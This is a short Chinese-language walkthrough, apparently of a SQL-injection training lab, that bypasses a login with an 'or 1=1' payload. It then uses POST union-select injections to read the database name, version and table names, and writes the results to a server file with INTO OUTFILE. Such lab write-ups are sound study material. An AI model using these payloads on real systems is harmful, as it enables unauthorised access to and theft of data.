一般看到这种需要登录的可能第一反应就是使用暴力破解,但是这里我们主要讨论的是sql注入,所以爆破就不在这里讲了。
发现需要登录,尝试使用万能密码登录,
万能密码的介绍:https://bbs.ichunqiu.com/thread-10851-1-1.html
payload:username=admin' or 1=1#
,password=任意输入,
登录成功,同时得到了一个账号的用户名和密码。
找到了注入的方法,接下来再通过post注入得到数据库信息
payload:uname=admin' or 1=1 union select 1,2,3#&passwd=Dumb&submit=Submit
发现报错,
再次尝试,发现字段有2个,获取数据库名,版本
payload:uname=1' union select database(),version()#&passwd=Dumb&submit=Submit
获取表名,
payload:uname=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=Dumb&submit=Submit
,但是发现,输出的结果不完整,于是将结果输出到文件,但是在输出到文件时有一个注意点,就会文件目录问题,参数博文:https://blog.csdn.net/h12kjgj/article/details/77187304
payload:
uname=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() into outfile 'e:/wamp64/tmp/table_name.txt';
#&passwd=Dumb&submit=Submit
,将结果完整输出到文件中,但是发现在后台可以将结果输出到文件中,在前台得不到结果,如果有哪位师傅知道还请告知。